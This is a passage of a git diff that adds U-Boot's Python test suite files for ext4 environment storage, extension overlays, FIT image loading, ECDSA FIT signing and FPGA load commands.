+            u_boot_utils.run_and_log(c, 'dd if=/dev/zero of=%s bs=1M count=16' % persistent)
+            u_boot_utils.run_and_log(c, 'mkfs.ext4 %s' % persistent)
+            sb_content = u_boot_utils.run_and_log(c, 'tune2fs -l %s' % persistent)
+            if 'metadata_csum' in sb_content:
+                u_boot_utils.run_and_log(c, 'tune2fs -O ^metadata_csum %s' % persistent)
+        except CalledProcessError:
+            call('rm -f %s' % persistent, shell=True)
+            raise
+
+    u_boot_utils.run_and_log(c, ['cp',  '-f', persistent, fs_img])
+    return fs_img
+
+@pytest.mark.boardspec('sandbox')
+@pytest.mark.buildconfigspec('cmd_echo')
+@pytest.mark.buildconfigspec('cmd_nvedit_info')
+@pytest.mark.buildconfigspec('cmd_nvedit_load')
+@pytest.mark.buildconfigspec('cmd_nvedit_select')
+@pytest.mark.buildconfigspec('env_is_in_ext4')
+def test_env_ext4(state_test_env):
+
+    """Test ENV in EXT4 on sandbox."""
+    c = state_test_env.u_boot_console
+    fs_img = ''
+    try:
+        fs_img = mk_env_ext4(state_test_env)
+
+        c.run_command('host bind 0  %s' % fs_img)
+
+        response = c.run_command('ext4ls host 0:0')
+        assert 'uboot.env' not in response
+
+        # force env location: EXT4 (prio 1 in sandbox)
+        response = c.run_command('env select EXT4')
+        assert 'Select Environment on EXT4: OK' in response
+
+        response = c.run_command('env save')
+        assert 'Saving Environment to EXT4' in response
+
+        response = c.run_command('env load')
+        assert 'Loading Environment from EXT4... OK' in response
+
+        response = c.run_command('ext4ls host 0:0')
+        assert '8192 uboot.env' in response
+
+        response = c.run_command('env info')
+        assert 'env_valid = valid' in response
+        assert 'env_ready = true' in response
+        assert 'env_use_default = false' in response
+
+        response = c.run_command('env info -p -d')
+        assert 'Environment was loaded from persistent storage' in response
+        assert 'Environment can be persisted' in response
+
+        response = c.run_command('env info -d -q')
+        assert response == ""
+        response = c.run_command('echo $?')
+        assert response == "1"
+
+        response = c.run_command('env info -p -q')
+        assert response == ""
+        response = c.run_command('echo $?')
+        assert response == "0"
+
+        response = c.run_command('env erase')
+        assert 'OK' in response
+
+        response = c.run_command('env load')
+        assert 'Loading Environment from EXT4... ' in response
+        assert 'bad CRC, using default environment' in response
+
+        response = c.run_command('env info')
+        assert 'env_valid = invalid' in response
+        assert 'env_ready = true' in response
+        assert 'env_use_default = true' in response
+
+        response = c.run_command('env info -p -d')
+        assert 'Default environment is used' in response
+        assert 'Environment can be persisted' in response
+
+        # restore env location: NOWHERE (prio 0 in sandbox)
+        response = c.run_command('env select nowhere')
+        assert 'Select Environment on nowhere: OK' in response
+
+        response = c.run_command('env load')
+        assert 'Loading Environment from nowhere... OK' in response
+
+        response = c.run_command('env info')
+        assert 'env_valid = invalid' in response
+        assert 'env_ready = true' in response
+        assert 'env_use_default = true' in response
+
+        response = c.run_command('env info -p -d')
+        assert 'Default environment is used' in response
+        assert 'Environment cannot be persisted' in response
+
+    finally:
+        if fs_img:
+            call('rm -f %s' % fs_img, shell=True)
diff --git a/roms/u-boot/test/py/tests/test_extension.py b/roms/u-boot/test/py/tests/test_extension.py
new file mode 100644
index 000000000..267cf2ff2
--- /dev/null
+++ b/roms/u-boot/test/py/tests/test_extension.py
@@ -0,0 +1,53 @@
+# SPDX-License-Identifier:  GPL-2.0+
+# Copyright (c) 2020
+# Author: Kory Maincent 
+
+# Test U-Boot's "extension" commands.
+
+import os
+import pytest
+import u_boot_utils
+
+overlay_addr = 0x1000
+
+SANDBOX_DTB='arch/sandbox/dts/sandbox.dtb'
+OVERLAY_DIR='arch/sandbox/dts/'
+
+def load_dtb(u_boot_console):
+    u_boot_console.log.action('Loading devicetree to RAM...')
+    u_boot_console.run_command('host load hostfs - $fdt_addr_r %s' % (os.path.join(u_boot_console.config.build_dir, SANDBOX_DTB)))
+    u_boot_console.run_command('fdt addr $fdt_addr_r')
+
+@pytest.mark.buildconfigspec('cmd_fdt')
+@pytest.mark.boardspec('sandbox')
+def test_extension(u_boot_console):
+    """Test the 'extension' command."""
+
+    load_dtb(u_boot_console)
+
+    output = u_boot_console.run_command('extension list')
+    assert('No extension' in output)
+
+    output = u_boot_console.run_command('extension scan')
+    assert output == 'Found 2 extension board(s).'
+
+    output = u_boot_console.run_command('extension list')
+    assert('overlay0.dtbo' in output)
+    assert('overlay1.dtbo' in output)
+
+    u_boot_console.run_command_list([
+        'setenv extension_overlay_addr %s' % (overlay_addr),
+        'setenv extension_overlay_cmd \'host load hostfs - ${extension_overlay_addr} %s${extension_overlay_name}\'' % (os.path.join(u_boot_console.config.build_dir, OVERLAY_DIR))])
+
+    output = u_boot_console.run_command('extension apply 0')
+    assert('bytes read' in output)
+
+    output = u_boot_console.run_command('fdt print')
+    assert('button3' in output)
+
+    output = u_boot_console.run_command('extension apply all')
+    assert('bytes read' in output)
+
+    output = u_boot_console.run_command('fdt print')
+    assert('button4' in output)
+
diff --git a/roms/u-boot/test/py/tests/test_fit.py b/roms/u-boot/test/py/tests/test_fit.py
new file mode 100755
index 000000000..6d5b43c3b
--- /dev/null
+++ b/roms/u-boot/test/py/tests/test_fit.py
@@ -0,0 +1,460 @@
+# SPDX-License-Identifier:	GPL-2.0+
+# Copyright (c) 2013, Google Inc.
+#
+# Sanity check of the FIT handling in U-Boot
+
+import os
+import pytest
+import struct
+import u_boot_utils as util
+
+# Define a base ITS which we can adjust using % and a dictionary
+base_its = '''
+/dts-v1/;
+
+/ {
+        description = "Chrome OS kernel image with one or more FDT blobs";
+        #address-cells = <1>;
+
+        images {
+                kernel-1 {
+                        data = /incbin/("%(kernel)s");
+                        type = "kernel";
+                        arch = "sandbox";
+                        os = "linux";
+                        compression = "%(compression)s";
+                        load = <0x40000>;
+                        entry = <0x8>;
+                };
+                kernel-2 {
+                        data = /incbin/("%(loadables1)s");
+                        type = "kernel";
+                        arch = "sandbox";
+                        os = "linux";
+                        compression = "none";
+                        %(loadables1_load)s
+                        entry = <0x0>;
+                };
+                fdt-1 {
+                        description = "snow";
+                        data = /incbin/("%(fdt)s");
+                        type = "flat_dt";
+                        arch = "sandbox";
+                        %(fdt_load)s
+                        compression = "%(compression)s";
+                        signature-1 {
+                                algo = "sha1,rsa2048";
+                                key-name-hint = "dev";
+                        };
+                };
+                ramdisk-1 {
+                        description = "snow";
+                        data = /incbin/("%(ramdisk)s");
+                        type = "ramdisk";
+                        arch = "sandbox";
+                        os = "linux";
+                        %(ramdisk_load)s
+                        compression = "%(compression)s";
+                };
+                ramdisk-2 {
+                        description = "snow";
+                        data = /incbin/("%(loadables2)s");
+                        type = "ramdisk";
+                        arch = "sandbox";
+                        os = "linux";
+                        %(loadables2_load)s
+                        compression = "none";
+                };
+        };
+        configurations {
+                default = "conf-1";
+                conf-1 {
+                        kernel = "kernel-1";
+                        fdt = "fdt-1";
+                        %(ramdisk_config)s
+                        %(loadables_config)s
+                };
+        };
+};
+'''
+
+# Define a base FDT - currently we don't use anything in this
+base_fdt = '''
+/dts-v1/;
+
+/ {
+	#address-cells = <1>;
+	#size-cells = <0>;
+
+	model = "Sandbox Verified Boot Test";
+	compatible = "sandbox";
+
+	reset@0 {
+		compatible = "sandbox,reset";
+		reg = <0>;
+	};
+};
+'''
+
+# This is the U-Boot script that is run for each test. First load the FIT,
+# then run the 'bootm' command, then save out memory from the places where
+# we expect 'bootm' to write things. Then quit.
+base_script = '''
+host load hostfs 0 %(fit_addr)x %(fit)s
+fdt addr %(fit_addr)x
+bootm start %(fit_addr)x
+bootm loados
+host save hostfs 0 %(kernel_addr)x %(kernel_out)s %(kernel_size)x
+host save hostfs 0 %(fdt_addr)x %(fdt_out)s %(fdt_size)x
+host save hostfs 0 %(ramdisk_addr)x %(ramdisk_out)s %(ramdisk_size)x
+host save hostfs 0 %(loadables1_addr)x %(loadables1_out)s %(loadables1_size)x
+host save hostfs 0 %(loadables2_addr)x %(loadables2_out)s %(loadables2_size)x
+'''
+
+@pytest.mark.boardspec('sandbox')
+@pytest.mark.buildconfigspec('fit_signature')
+@pytest.mark.requiredtool('dtc')
+def test_fit(u_boot_console):
+    def make_fname(leaf):
+        """Make a temporary filename
+
+        Args:
+            leaf: Leaf name of file to create (within temporary directory)
+        Return:
+            Temporary filename
+        """
+
+        return os.path.join(cons.config.build_dir, leaf)
+
+    def filesize(fname):
+        """Get the size of a file
+
+        Args:
+            fname: Filename to check
+        Return:
+            Size of file in bytes
+        """
+        return os.stat(fname).st_size
+
+    def read_file(fname):
+        """Read the contents of a file
+
+        Args:
+            fname: Filename to read
+        Returns:
+            Contents of file as a string
+        """
+        with open(fname, 'rb') as fd:
+            return fd.read()
+
+    def make_dtb():
+        """Make a sample .dts file and compile it to a .dtb
+
+        Returns:
+            Filename of .dtb file created
+        """
+        src = make_fname('u-boot.dts')
+        dtb = make_fname('u-boot.dtb')
+        with open(src, 'w') as fd:
+            fd.write(base_fdt)
+        util.run_and_log(cons, ['dtc', src, '-O', 'dtb', '-o', dtb])
+        return dtb
+
+    def make_its(params):
+        """Make a sample .its file with parameters embedded
+
+        Args:
+            params: Dictionary containing parameters to embed in the %() strings
+        Returns:
+            Filename of .its file created
+        """
+        its = make_fname('test.its')
+        with open(its, 'w') as fd:
+            print(base_its % params, file=fd)
+        return its
+
+    def make_fit(mkimage, params):
+        """Make a sample .fit file ready for loading
+
+        This creates a .its script with the selected parameters and uses mkimage to
+        turn this into a .fit image.
+
+        Args:
+            mkimage: Filename of 'mkimage' utility
+            params: Dictionary containing parameters to embed in the %() strings
+        Return:
+            Filename of .fit file created
+        """
+        fit = make_fname('test.fit')
+        its = make_its(params)
+        util.run_and_log(cons, [mkimage, '-f', its, fit])
+        with open(make_fname('u-boot.dts'), 'w') as fd:
+            fd.write(base_fdt)
+        return fit
+
+    def make_kernel(filename, text):
+        """Make a sample kernel with test data
+
+        Args:
+            filename: the name of the file you want to create
+        Returns:
+            Full path and filename of the kernel it created
+        """
+        fname = make_fname(filename)
+        data = ''
+        for i in range(100):
+            data += 'this %s %d is unlikely to boot\n' % (text, i)
+        with open(fname, 'w') as fd:
+            print(data, file=fd)
+        return fname
+
+    def make_ramdisk(filename, text):
+        """Make a sample ramdisk with test data
+
+        Returns:
+            Filename of ramdisk created
+        """
+        fname = make_fname(filename)
+        data = ''
+        for i in range(100):
+            data += '%s %d was seldom used in the middle ages\n' % (text, i)
+        with open(fname, 'w') as fd:
+            print(data, file=fd)
+        return fname
+
+    def make_compressed(filename):
+        util.run_and_log(cons, ['gzip', '-f', '-k', filename])
+        return filename + '.gz'
+
+    def find_matching(text, match):
+        """Find a match in a line of text, and return the unmatched line portion
+
+        This is used to extract a part of a line from some text. The match string
+        is used to locate the line - we use the first line that contains that
+        match text.
+
+        Once we find a match, we discard the match string itself from the line,
+        and return what remains.
+
+        TODO: If this function becomes more generally useful, we could change it
+        to use regex and return groups.
+
+        Args:
+            text: Text to check (list of strings, one for each command issued)
+            match: String to search for
+        Return:
+            String containing unmatched portion of line
+        Exceptions:
+            ValueError: If match is not found
+
+        >>> find_matching(['first line:10', 'second_line:20'], 'first line:')
+        '10'
+        >>> find_matching(['first line:10', 'second_line:20'], 'second line')
+        Traceback (most recent call last):
+          ...
+        ValueError: Test aborted
+        >>> find_matching('first line:10\', 'second_line:20'], 'second_line:')
+        '20'
+        >>> find_matching('first line:10\', 'second_line:20\nthird_line:30'],
+                          'third_line:')
+        '30'
+        """
+        __tracebackhide__ = True
+        for line in '\n'.join(text).splitlines():
+            pos = line.find(match)
+            if pos != -1:
+                return line[:pos] + line[pos + len(match):]
+
+        pytest.fail("Expected '%s' but not found in output")
+
+    def check_equal(expected_fname, actual_fname, failure_msg):
+        """Check that a file matches its expected contents
+
+        This is always used on out-buffers whose size is decided by the test
+        script anyway, which in some cases may be larger than what we're
+        actually looking for. So it's safe to truncate it to the size of the
+        expected data.
+
+        Args:
+            expected_fname: Filename containing expected contents
+            actual_fname: Filename containing actual contents
+            failure_msg: Message to print on failure
+        """
+        expected_data = read_file(expected_fname)
+        actual_data = read_file(actual_fname)
+        if len(expected_data) < len(actual_data):
+            actual_data = actual_data[:len(expected_data)]
+        assert expected_data == actual_data, failure_msg
+
+    def check_not_equal(expected_fname, actual_fname, failure_msg):
+        """Check that a file does not match its expected contents
+
+        Args:
+            expected_fname: Filename containing expected contents
+            actual_fname: Filename containing actual contents
+            failure_msg: Message to print on failure
+        """
+        expected_data = read_file(expected_fname)
+        actual_data = read_file(actual_fname)
+        assert expected_data != actual_data, failure_msg
+
+    def run_fit_test(mkimage):
+        """Basic sanity check of FIT loading in U-Boot
+
+        TODO: Almost everything:
+          - hash algorithms - invalid hash/contents should be detected
+          - signature algorithms - invalid sig/contents should be detected
+          - compression
+          - checking that errors are detected like:
+                - image overwriting
+                - missing images
+                - invalid configurations
+                - incorrect os/arch/type fields
+                - empty data
+                - images too large/small
+                - invalid FDT (e.g. putting a random binary in instead)
+          - default configuration selection
+          - bootm command line parameters should have desired effect
+          - run code coverage to make sure we are testing all the code
+        """
+        # Set up invariant files
+        control_dtb = make_dtb()
+        kernel = make_kernel('test-kernel.bin', 'kernel')
+        ramdisk = make_ramdisk('test-ramdisk.bin', 'ramdisk')
+        loadables1 = make_kernel('test-loadables1.bin', 'lenrek')
+        loadables2 = make_ramdisk('test-loadables2.bin', 'ksidmar')
+        kernel_out = make_fname('kernel-out.bin')
+        fdt = make_fname('u-boot.dtb')
+        fdt_out = make_fname('fdt-out.dtb')
+        ramdisk_out = make_fname('ramdisk-out.bin')
+        loadables1_out = make_fname('loadables1-out.bin')
+        loadables2_out = make_fname('loadables2-out.bin')
+
+        # Set up basic parameters with default values
+        params = {
+            'fit_addr' : 0x1000,
+
+            'kernel' : kernel,
+            'kernel_out' : kernel_out,
+            'kernel_addr' : 0x40000,
+            'kernel_size' : filesize(kernel),
+
+            'fdt' : fdt,
+            'fdt_out' : fdt_out,
+            'fdt_addr' : 0x80000,
+            'fdt_size' : filesize(control_dtb),
+            'fdt_load' : '',
+
+            'ramdisk' : ramdisk,
+            'ramdisk_out' : ramdisk_out,
+            'ramdisk_addr' : 0xc0000,
+            'ramdisk_size' : filesize(ramdisk),
+            'ramdisk_load' : '',
+            'ramdisk_config' : '',
+
+            'loadables1' : loadables1,
+            'loadables1_out' : loadables1_out,
+            'loadables1_addr' : 0x100000,
+            'loadables1_size' : filesize(loadables1),
+            'loadables1_load' : '',
+
+            'loadables2' : loadables2,
+            'loadables2_out' : loadables2_out,
+            'loadables2_addr' : 0x140000,
+            'loadables2_size' : filesize(loadables2),
+            'loadables2_load' : '',
+
+            'loadables_config' : '',
+            'compression' : 'none',
+        }
+
+        # Make a basic FIT and a script to load it
+        fit = make_fit(mkimage, params)
+        params['fit'] = fit
+        cmd = base_script % params
+
+        # First check that we can load a kernel
+        # We could perhaps reduce duplication with some loss of readability
+        cons.config.dtb = control_dtb
+        cons.restart_uboot()
+        with cons.log.section('Kernel load'):
+            output = cons.run_command_list(cmd.splitlines())
+            check_equal(kernel, kernel_out, 'Kernel not loaded')
+            check_not_equal(control_dtb, fdt_out,
+                            'FDT loaded but should be ignored')
+            check_not_equal(ramdisk, ramdisk_out,
+                            'Ramdisk loaded but should not be')
+
+            # Find out the offset in the FIT where U-Boot has found the FDT
+            line = find_matching(output, 'Booting using the fdt blob at ')
+            fit_offset = int(line, 16) - params['fit_addr']
+            fdt_magic = struct.pack('>L', 0xd00dfeed)
+            data = read_file(fit)
+
+            # Now find where it actually is in the FIT (skip the first word)
+            real_fit_offset = data.find(fdt_magic, 4)
+            assert fit_offset == real_fit_offset, (
+                  'U-Boot loaded FDT from offset %#x, FDT is actually at %#x' %
+                  (fit_offset, real_fit_offset))
+
+        # Now a kernel and an FDT
+        with cons.log.section('Kernel + FDT load'):
+            params['fdt_load'] = 'load = <%#x>;' % params['fdt_addr']
+            fit = make_fit(mkimage, params)
+            cons.restart_uboot()
+            output = cons.run_command_list(cmd.splitlines())
+            check_equal(kernel, kernel_out, 'Kernel not loaded')
+            check_equal(control_dtb, fdt_out, 'FDT not loaded')
+            check_not_equal(ramdisk, ramdisk_out,
+                            'Ramdisk loaded but should not be')
+
+        # Try a ramdisk
+        with cons.log.section('Kernel + FDT + Ramdisk load'):
+            params['ramdisk_config'] = 'ramdisk = "ramdisk-1";'
+            params['ramdisk_load'] = 'load = <%#x>;' % params['ramdisk_addr']
+            fit = make_fit(mkimage, params)
+            cons.restart_uboot()
+            output = cons.run_command_list(cmd.splitlines())
+            check_equal(ramdisk, ramdisk_out, 'Ramdisk not loaded')
+
+        # Configuration with some Loadables
+        with cons.log.section('Kernel + FDT + Ramdisk load + Loadables'):
+            params['loadables_config'] = 'loadables = "kernel-2", "ramdisk-2";'
+            params['loadables1_load'] = ('load = <%#x>;' %
+                                         params['loadables1_addr'])
+            params['loadables2_load'] = ('load = <%#x>;' %
+                                         params['loadables2_addr'])
+            fit = make_fit(mkimage, params)
+            cons.restart_uboot()
+            output = cons.run_command_list(cmd.splitlines())
+            check_equal(loadables1, loadables1_out,
+                        'Loadables1 (kernel) not loaded')
+            check_equal(loadables2, loadables2_out,
+                        'Loadables2 (ramdisk) not loaded')
+
+        # Kernel, FDT and Ramdisk all compressed
+        with cons.log.section('(Kernel + FDT + Ramdisk) compressed'):
+            params['compression'] = 'gzip'
+            params['kernel'] = make_compressed(kernel)
+            params['fdt'] = make_compressed(fdt)
+            params['ramdisk'] = make_compressed(ramdisk)
+            fit = make_fit(mkimage, params)
+            cons.restart_uboot()
+            output = cons.run_command_list(cmd.splitlines())
+            check_equal(kernel, kernel_out, 'Kernel not loaded')
+            check_equal(control_dtb, fdt_out, 'FDT not loaded')
+            check_not_equal(ramdisk, ramdisk_out, 'Ramdisk got decompressed?')
+            check_equal(ramdisk + '.gz', ramdisk_out, 'Ramdist not loaded')
+
+
+    cons = u_boot_console
+    try:
+        # We need to use our own device tree file. Remember to restore it
+        # afterwards.
+        old_dtb = cons.config.dtb
+        mkimage = cons.config.build_dir + '/tools/mkimage'
+        run_fit_test(mkimage)
+    finally:
+        # Go back to the original U-Boot with the correct dtb.
+        cons.config.dtb = old_dtb
+        cons.restart_uboot()
diff --git a/roms/u-boot/test/py/tests/test_fit_ecdsa.py b/roms/u-boot/test/py/tests/test_fit_ecdsa.py
new file mode 100644
index 000000000..87b608122
--- /dev/null
+++ b/roms/u-boot/test/py/tests/test_fit_ecdsa.py
@@ -0,0 +1,111 @@
+# SPDX-License-Identifier:	GPL-2.0+
+#
+# Copyright (c) 2020,2021 Alexandru Gagniuc 
+
+"""
+Test ECDSA signing of FIT images
+
+This test uses mkimage to sign an existing FIT image with an ECDSA key. The
+signature is then extracted, and verified against pyCryptodome.
+This test doesn't run the sandbox. It only checks the host tool 'mkimage'
+"""
+
+import pytest
+import u_boot_utils as util
+from Cryptodome.Hash import SHA256
+from Cryptodome.PublicKey import ECC
+from Cryptodome.Signature import DSS
+
+class SignableFitImage(object):
+    """ Helper to manipulate a FIT image on disk """
+    def __init__(self, cons, file_name):
+        self.fit = file_name
+        self.cons = cons
+        self.signable_nodes = set()
+
+    def __fdt_list(self, path):
+        return util.run_and_log(self.cons, f'fdtget -l {self.fit} {path}')
+
+    def __fdt_set(self, node, **prop_value):
+        for prop, value in prop_value.items():
+            util.run_and_log(self.cons, f'fdtput -ts {self.fit} {node} {prop} {value}')
+
+    def __fdt_get_binary(self, node, prop):
+        numbers = util.run_and_log(self.cons, f'fdtget -tbi {self.fit} {node} {prop}')
+
+        bignum = bytearray()
+        for little_num in numbers.split():
+            bignum.append(int(little_num))
+
+        return bignum
+
+    def find_signable_image_nodes(self):
+        for node in self.__fdt_list('/images').split():
+            image = f'/images/{node}'
+            if 'signature' in self.__fdt_list(image):
+                self.signable_nodes.add(image)
+
+        return self.signable_nodes
+
+    def change_signature_algo_to_ecdsa(self):
+        for image in self.signable_nodes:
+            self.__fdt_set(f'{image}/signature', algo='sha256,ecdsa256')
+
+    def sign(self, mkimage, key_file):
+        util.run_and_log(self.cons, [mkimage, '-F', self.fit, f'-G{key_file}'])
+
+    def check_signatures(self, key):
+        for image in self.signable_nodes:
+            raw_sig = self.__fdt_get_binary(f'{image}/signature', 'value')
+            raw_bin = self.__fdt_get_binary(image, 'data')
+
+            sha = SHA256.new(raw_bin)
+            verifier = DSS.new(key, 'fips-186-3')
+            verifier.verify(sha, bytes(raw_sig))
+
+
+@pytest.mark.buildconfigspec('fit_signature')
+@pytest.mark.requiredtool('dtc')
+@pytest.mark.requiredtool('fdtget')
+@pytest.mark.requiredtool('fdtput')
+def test_fit_ecdsa(u_boot_console):
+    """ Test that signatures generated by mkimage are legible. """
+    def generate_ecdsa_key():
+        return ECC.generate(curve='prime256v1')
+
+    def assemble_fit_image(dest_fit, its, destdir):
+        dtc_args = f'-I dts -O dtb -i {destdir}'
+        util.run_and_log(cons, [mkimage, '-D', dtc_args, '-f', its, dest_fit])
+
+    def dtc(dts):
+        dtb = dts.replace('.dts', '.dtb')
+        util.run_and_log(cons, f'dtc {datadir}/{dts} -O dtb -o {tempdir}/{dtb}')
+
+    cons = u_boot_console
+    mkimage = cons.config.build_dir + '/tools/mkimage'
+    datadir = cons.config.source_dir + '/test/py/tests/vboot/'
+    tempdir = cons.config.result_dir
+    key_file = f'{tempdir}/ecdsa-test-key.pem'
+    fit_file = f'{tempdir}/test.fit'
+    dtc('sandbox-kernel.dts')
+
+    key = generate_ecdsa_key()
+
+    # Create a fake kernel image -- zeroes will do just fine
+    with open(f'{tempdir}/test-kernel.bin', 'w') as fd:
+        fd.write(500 * chr(0))
+
+    # invocations of mkimage expect to read the key from disk
+    with open(key_file, 'w') as f:
+        f.write(key.export_key(format='PEM'))
+
+    assemble_fit_image(fit_file, f'{datadir}/sign-images-sha256.its', tempdir)
+
+    fit = SignableFitImage(cons, fit_file)
+    nodes = fit.find_signable_image_nodes()
+    if len(nodes) == 0:
+        raise ValueError('FIT image has no "/image" nodes with "signature"')
+
+    fit.change_signature_algo_to_ecdsa()
+    fit.sign(mkimage, key_file)
+    fit.check_signatures(key)
diff --git a/roms/u-boot/test/py/tests/test_fpga.py b/roms/u-boot/test/py/tests/test_fpga.py
new file mode 100644
index 000000000..ca7ef8ea4
--- /dev/null
+++ b/roms/u-boot/test/py/tests/test_fpga.py
@@ -0,0 +1,565 @@
+# SPDX-License-Identifier: GPL-2.0
+#
+# Copyright (c) 2018, Xilinx Inc.
+#
+# Michal Simek
+# Siva Durga Prasad Paladugu
+
+import pytest
+import re
+import random
+import u_boot_utils
+
+"""
+Note: This test relies on boardenv_* containing configuration values to define
+the network available and files to be used for testing. Without this, this test
+will be automatically skipped.
+
+For example:
+
+# True if a DHCP server is attached to the network, and should be tested.
+env__net_dhcp_server = True
+
+# A list of environment variables that should be set in order to configure a
+# static IP. In this test case we atleast need serverip for performing tftpb
+# to get required files.
+env__net_static_env_vars = [
+    ('ipaddr', '10.0.0.100'),
+    ('netmask', '255.255.255.0'),
+    ('serverip', '10.0.0.1'),
+]
+
+# Details regarding the files that may be read from a TFTP server. .
+env__fpga_secure_readable_file = {
+    'fn': 'auth_bhdr_ppk1_bit.bin',
+    'enckupfn': 'auth_bhdr_enc_kup_load_bit.bin',
+    'addr': 0x1000000,
+    'keyaddr': 0x100000,
+    'keyfn': 'key.txt',
+}
+
+env__fpga_under_test = {
+    'dev': 0,
+    'addr' : 0x1000000,
+    'bitstream_load': 'compress.bin',
+    'bitstream_load_size': 1831960,
+    'bitstream_loadp': 'compress_pr.bin',
+    'bitstream_loadp_size': 423352,
+    'bitstream_loadb': 'compress.bit',
+    'bitstream_loadb_size': 1832086,
+    'bitstream_loadbp': 'compress_pr.bit',
+    'bitstream_loadbp_size': 423491,
+    'mkimage_legacy': 'download.ub',
+    'mkimage_legacy_size': 13321468,
+    'mkimage_legacy_gz': 'download.gz.ub',
+    'mkimage_legacy_gz_size': 53632,
+    'mkimage_fit': 'download-fit.ub',
+    'mkimage_fit_size': 13322784,
+    'loadfs': 'mmc 0 compress.bin',
+    'loadfs_size': 1831960,
+    'loadfs_block_size': 0x10000,
+}
+"""
+
+import test_net
+
+def check_dev(u_boot_console):
+    f = u_boot_console.config.env.get('env__fpga_under_test', None)
+    if not f:
+        pytest.skip('No FPGA to test')
+
+    dev = f.get('dev', -1)
+    if dev < 0:
+        pytest.fail('No dev specified via env__fpga_under_test')
+
+    return dev, f
+
+def load_file_from_var(u_boot_console, name):
+    dev, f = check_dev(u_boot_console)
+
+    addr = f.get('addr', -1)
+    if addr < 0:
+        pytest.fail('No address specified via env__fpga_under_test')
+
+    test_net.test_net_dhcp(u_boot_console)
+    test_net.test_net_setup_static(u_boot_console)
+    bit = f['%s' % (name)]
+    bit_size = f['%s_size' % (name)]
+
+    expected_tftp = 'Bytes transferred = %d' % bit_size
+    output = u_boot_console.run_command('tftpboot %x %s' % (addr, bit))
+    assert expected_tftp in output
+
+    return f, dev, addr, bit, bit_size
+
+###### FPGA FAIL test ######
+expected_usage = 'fpga - loadable FPGA image support'
+
+@pytest.mark.xfail
+@pytest.mark.buildconfigspec('cmd_fpga')
+def test_fpga_fail(u_boot_console):
+    # Test non valid fpga subcommand
+    expected = 'fpga: non existing command'
+    output = u_boot_console.run_command('fpga broken 0')
+    #assert expected in output
+    assert expected_usage in output
+
+@pytest.mark.buildconfigspec('cmd_fpga')
+def test_fpga_help(u_boot_console):
+    # Just show help
+    output = u_boot_console.run_command('fpga')
+    assert expected_usage in output
+
+
+###### FPGA DUMP tests ######
+
+@pytest.mark.buildconfigspec('cmd_fpga')
+def test_fpga_dump(u_boot_console):
+    pytest.skip('Not implemented now')
+
+@pytest.mark.buildconfigspec('cmd_fpga')
+def test_fpga_dump_variable(u_boot_console):
+    # Same as above but via "fpga" variable
+    pytest.skip('Not implemented now')
+
+###### FPGA INFO tests ######
+
+@pytest.mark.buildconfigspec('cmd_fpga')
+def test_fpga_info_fail(u_boot_console):
+    # Maybe this can be skipped completely
+    dev, f = check_dev(u_boot_console)
+
+    # Multiple parameters to fpga info should fail
+    expected = 'fpga: more parameters passed'
+    output = u_boot_console.run_command('fpga info 0 0')
+    #assert expected in output
+    assert expected_usage in output
+
+@pytest.mark.buildconfigspec('cmd_fpga')
+def test_fpga_info_list(u_boot_console):
+    # Maybe this can be skipped completely
+    dev, f = check_dev(u_boot_console)
+
+    # Code is design in a way that if fpga dev is not passed it should
+    # return list of all fpga devices in the system
+    u_boot_console.run_command('setenv fpga')
+    output = u_boot_console.run_command('fpga info')
+    assert expected_usage not in output
+
+@pytest.mark.buildconfigspec('cmd_fpga')
+def test_fpga_info(u_boot_console):
+    dev, f = check_dev(u_boot_console)
+
+    output = u_boot_console.run_command('fpga info %x' % (dev))
+    assert expected_usage not in output
+
+@pytest.mark.buildconfigspec('cmd_fpga')
+def test_fpga_info_variable(u_boot_console):
+    dev, f = check_dev(u_boot_console)
+
+    #
+    # fpga variable is storing device number which doesn't need to be passed
+    #
+    u_boot_console.run_command('setenv fpga %x' % (dev))
+
+    output = u_boot_console.run_command('fpga info')
+    # Variable cleanup
+    u_boot_console.run_command('setenv fpga')
+    assert expected_usage not in output
+
+###### FPGA LOAD tests ######
+
+@pytest.mark.buildconfigspec('cmd_fpga')
+@pytest.mark.buildconfigspec('cmd_echo')
+def test_fpga_load_fail(u_boot_console):
+    f, dev, addr, bit, bit_size = load_file_from_var(u_boot_console, 'bitstream_load')
+
+    for cmd in ['dump', 'load', 'loadb']:
+        # missing dev parameter
+        expected = 'fpga: incorrect parameters passed'
+        output = u_boot_console.run_command('fpga %s %x $filesize' % (cmd, addr))
+        #assert expected in output
+        assert expected_usage in output
+
+        # more parameters - 0 at the end
+        expected = 'fpga: more parameters passed'
+        output = u_boot_console.run_command('fpga %s %x %x $filesize 0' % (cmd, dev, addr))
+        #assert expected in output
+        assert expected_usage in output
+
+        # 0 address
+        expected = 'fpga: zero fpga_data address'
+        output = u_boot_console.run_command('fpga %s %x 0 $filesize' % (cmd, dev))
+        #assert expected in output
+        assert expected_usage in output
+
+        # 0 filesize
+        expected = 'fpga: zero size'
+        output = u_boot_console.run_command('fpga %s %x %x 0' % (cmd, dev, addr))
+        #assert expected in output
+        assert expected_usage in output
+
+@pytest.mark.buildconfigspec('cmd_fpga')
+@pytest.mark.buildconfigspec('cmd_echo')
+def test_fpga_load(u_boot_console):
+    f, dev, addr, bit, bit_size = load_file_from_var(u_boot_console, 'bitstream_load')
+
+    expected_text = 'FPGA loaded successfully'
+    output = u_boot_console.run_command('fpga load %x %x $filesize && echo %s' % (dev, addr, expected_text))
+    assert expected_text in output
+
+@pytest.mark.buildconfigspec('cmd_fpga')
+@pytest.mark.buildconfigspec('cmd_fpga_loadp')
+@pytest.mark.buildconfigspec('cmd_echo')
+def test_fpga_loadp(u_boot_console):
+    f, dev, addr, bit, bit_size = load_file_from_var(u_boot_console, 'bitstream_load')
+
+    expected_text = 'FPGA loaded successfully'
+    output = u_boot_console.run_command('fpga load %x %x $filesize && echo %s' % (dev, addr, expected_text))
+    assert expected_text in output
+
+    # And load also partial bistream
+    f, dev, addr, bit, bit_size = load_file_from_var(u_boot_console, 'bitstream_loadp')
+
+    expected_text = 'FPGA loaded successfully'
+    output = u_boot_console.run_command('fpga loadp %x %x $filesize && echo %s' % (dev, addr, expected_text))
+    assert expected_text in output
+
+@pytest.mark.buildconfigspec('cmd_fpga')
+@pytest.mark.buildconfigspec('cmd_echo')
+def test_fpga_loadb(u_boot_console):
+    f, dev, addr, bit, bit_size = load_file_from_var(u_boot_console, 'bitstream_loadb')
+
+    expected_text = 'FPGA loaded successfully'
+    output = u_boot_console.run_command('fpga loadb %x %x $filesize && echo %s' % (dev, addr, expected_text))
+    assert expected_text in output
+
+@pytest.mark.buildconfigspec('cmd_fpga')
